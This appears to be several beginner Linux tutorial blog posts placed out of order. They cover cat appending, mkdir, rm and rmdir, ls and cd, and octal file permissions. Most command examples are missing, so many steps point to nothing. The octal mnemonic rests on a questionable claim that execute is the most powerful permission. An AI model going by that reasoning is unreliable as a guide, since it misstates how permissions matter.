    As we can see, it overwrites the previous content of the file. But there's another operator used for appending instead of overwriting the contents of the file, if we want to keep the previous content as well.

• Append ( >> ) operator with the cat command:

• This operator with a cat can be used to append newer content to an existing file without overwriting its previous content, appending the newer content from the next line.

• As we can see, the new contents were added from the next line of the file without overwriting the previous content.

That's all for now.

Creating Directories ( Folder )

• mkdir ( make directory ) is the command used for creating directories.

• Pretty simple syntax:

And if you want to create multiple directories then use the following:

NOTE: It is best that you don't use special characters or spaces in a file name or directory name as you did in Windows, except hyphens.

If you want you can do it but it will make your workflow slow as you'll have to escape those characters using \ while working in the terminal.

Honestly, that was a long one, you should consider taking a break. Come back after a while when you feel like it.

Next up, we'll learn to delete files and directories.

TAKE A BREAK FOR NOW.

Removing ( or deleting ) Files and Directories in terminal

Deleting or Removing Files - rm command

• rm is the command used for deleting files.

• The syntax is simple:

Deleting or Removing empty Directories - rmdir command

• rmdir command is used to delete empty i.e., if a directory doesn't contain anything inside of it, then only this command will work.

• The syntax is the same as deleting files:

• Now if you tried deleting a directory that has contents in it then it will through an error:

  

  ---

Deleting or removing a directory with contents inside it using rm command:

• To delete a directory with contents we need to use the old rm command with a special option "-r" which stands for recursive deletion.

• So whatever the contents might be inside the directory, all of it will get deleted recursively until there's nothing inside the directory.

• So let's try deleting this Private directory along with the contents that persist inside it i.e., a bla directory and a file named file.txt:

That's it.

---

Well done, give yourself a pat for having made it out to the end of this article. You deserve it.

Concluding:

• Remember to practice these for at least one or two weeks so that these things make room in your head.

• And if you want to advance in your Linux journey, I would suggest that you switch entirely to Linux. I did the same.

• Also, keep an eye out for more blogs related to Linux if you linked the way I delivered it;

  • Consider giving a follow to my blog

  • And maybe dropping a like

Thanks for Reading This!

See you in the next one.

What will you learn?

You will learn the following in Part 1:

• How to list contents of directories using the ls command efficiently.

• How to change directory ( cd ) and its variant.

And following in Part 2:

• How to copy, and cut ( or move ) stuff.

• Different options to create and delete ( remove ) files and directories ( folders ).

• Concluding

Let's get started:

Open a terminal first. Ctrl + Alt + T is the hotkey combination that works in a few Linux operating systems. It doesn't work in all OSs though.

Working with the ls command:

1. ls command is used to list the contents of the directories.

• We have a total of 9 contents in the current directory from Desktop to Templates.

• All of these are directories, but how do we know if the content listed is a directory or something else? Don't worry, we'll talk about it in the ls options section.

To know the current directory that you're working in, we can use the command pwd ( print working directory ):

• pwd gives us the full path of the current directory which is "/home/anand"

1. Now, if we wanted to list the contents of a directory without actually being at its absolute path, then we can use ls with its full path to get the content list:

   

   • But, we have two types of paths that we can use;

     • One is the Absolute path ( Full path to the directory ) and,

     • The other one is the Relative path ( relative to the current directory ).

• We now know the basic workings of ls. Let's now learn its few important options.

Basic Options ( switches ) of the ls command:

• Switches or options extend functionality and give us more control over the way a command ( or CLI utility ) works.

• How? Just observe how ls works with its switches and you'll get it.

ls -a ( -a option for all )

• Notice how we now have many more contents in the list than the ls command without -a option.

• This ls -a simply means List all the contents of the directory.

• Here files and directories starting with "." are hidden contents and are only listed if forced to. This switch "-a" forces the ls command to list even the hidden contents.

• That is why we have more content listed here.

ls -l ( -l for long listing )

• This option lists the content in a long format, which shows a lot of other details for each file and directory:

• Let me explain each of the columns in the long form list ( ls -l ):

  

  Also, in permissions, whenever there's a d in the beginning, it means the content is a directory:

  • All of the contents in the list are directories except one ( file.txt ):

Now you can even combine the two options ( -a and -l ) to list hidden content as well as list them in long format:

That's enough about ls. Let's move on to the next one, shall we?

• It's a checkpoint, go grab a cup of coffee or something.

  

Working with the cd command:

cd command is used to change directories and is available in both Linux and Windows. We are talking about it in the context of Linux here.

• Our current working directory is /home/anand but using cd we changed the directory to tutorial.

• Now our pwd ( current working directory ) is /home/anand/tutorials.

We can use the relative or absolute path here same as ls:

• The example above was the relative one.

• Let's now use an absolute path of a directory with cd:

  

  • we used an absolute path "/var/log" and changed our directory from /home/anand to the /var/log directory using cd.

Navigating to parent and previous directories by using special character sets with cd ( .. and - )

Navigate to a parent directory

• cd .. lets us navigate to the parent directory of the current directory.

• As you can see, we move up a directory ( parent directory ) whenever we use the command cd with a double dot "..".

Navigate to the previous directory

• When we use cd with a hyphen ( - ), we move to the previous working directory ( previous doesn't mean parent ).

  

  • First, our directory was "/home/anand". We changed it to "/var/log"

  • Now when we use "cd -", it brings us back to the previous directory which was /home/anand.

  • If we use this command again, it will bring us back to the directory that we're in before the current one ( /var/log ).

  • This allows us to move back and forth between two directories without needing to write entire paths, letting us save some time. Makes our workflow faster.

We are done with cd command, You might wanna take a break for now and then consider coming back to Part 2 of the article when it's released.

Thanks for reading this!

If you like the way I write, consider supporting me by

• giving me a follow,

• or by dropping a like,

To proceed further into reading this article, You need to be familiar with the following:

• permissions in Linux ( rwx )

• User categories ( u, g, o, a )

What you're gonna get from this article

In this article, we will simplify the concept of octal numbers and their associated permissions. We will also provide you with a handy trick formula that is not widely known, which will help you easily remember and generate octal mode numbers and their corresponding permissions. With this formula, you won't have to rely on searching the web every time you need octal mode numbers.

Why Learn Octal?

First of all, you all might be wondering, why we even need to learn Octal when we have simpler Symbolic Permissions ( rwx ).

• The simple answer to this is that you can define the permission of any user category for a file/directory in just 3 digits ---- Meaning, it's way too concise than the Symbolic mode.

Let me show you how:

• We have two files one for each permission mode.

• We're going to use Octal mode on OctalFile.txt and

• Symbolic mode on SymbolicFile.txt

Comparison

• Permissions of both files are set to none:

  

• Now let's use both Symbolic and Octal modes on respective files to assign the same set of permissions ( user= read, write & execute | group= read & write | others= read ) :

  • Using Symbolic mode on SymbolicFile.txt:

    

  • Now let's use Octal mode on OctalFile.txt:

    

Comparison summary

• Do you notice how less we need to write in the Octal when compared to the Symbolic mode?

• Where we need to write "u=rwx,g=rw,o=r" in Symbolic mode, the same can be done just by using "764" in Octal mode.

• This makes Octal preferred over Symbolic by advanced Linux users as it's concise and readable.

Let's get into the real thing, shall we?

Let me simplify this Octal mode for you.

Octal mode, as the name suggests, has 8 different digits that represent different sets of permissions ( by set I mean a combination of rwx and "_" which means no permission ).

This ranges from 0 to 7 just as any indexing does in Computers.

Now I know a few or a number of you find it intimidating that's why you end up using Symbolic but wait till the end as the trick that I'll share will get you using it every day.

So in all the 8 digits, you only need to remember 3 ( rwx ) and the rest 5 is a combination of these so you'll be able to map the other 5 easily if you have these 3 in your head:

0 ->
1 -> x    // execute
2 -> w    // write
3 ->
4 -> r    // read
5 ->
6 ->
7 ->

Again, don't get intimidated if you can't remember these three either, just keep reading till the end and you'll get it all at the end.

First, let's see how these three combine to create the other 5 or shall say 4 ( as 0 simply means no permission ).

We're now left with 4 other digits which are 3, 5, 6 and 7, let me explain the combination:

3 -> 1 + 2 -> 1=x + 2=w    // x + w
5 -> 1 + 4 -> 1=x + 4=r    // x + r
6 -> 2 + 4 -> 2=w + 4=r    // w + r

All Permission:
7 -> 1 + 2 + 4 -> 1=x + 2=w + 4=r   // x + w + r

Do you notice how three of the permissions x, w, r which are equivalent to 1, 2 and 4 respectively, combine to form the other 4 in the octal mode?

So this was to explain to you how octal works.

Some people might have grasped and maybe, are now comfortable with using this.

But a few might not, and let me tell you, I fell under the categories of those few until I found a trick formula that makes it easy to remember. So here I go into explaining that to you.

The Trick Formula

So here it is:

Don't get intimidated by it either, it would appear to be complex to some but let me explain and then you will remember it forever.

Let's break this down:

• First, remember that the base is always 2 ( observe the first row ).

• Second, the power of base 2 i.e., 0, 1 and 2 ( because there are 3 permissions- rwx ).

• Third, "least is the most rule"

  • When I say least, I refer to 0 from 0, 1 and 2 powers. Or 1 when considered 1 and 2.

  • And when I most that's when I am referring to the impact or strength of permission ( execute is the highest impactful permission as you're letting a person execute stuff on your system )

So 2^0 is the least so it is going to the most powerful permission i.e., x ( execute permission ).

2^1 is in the middle so it's gonna be w ( write permission ) as it's more impactful than read ( r ) but less impactful than x ( execute ).

2^2 is exactly opposite to "least from Least is the most rule" then it's gonna be r ( read permission ).

And that's it, you have it now.

I hope I was able to explain this thoroughly and well enough to you all.

I have one request for you all, please consider giving me feedback on my delivery or any other stuff that you might feel needs improvement.

A big Thanks for Reading this!!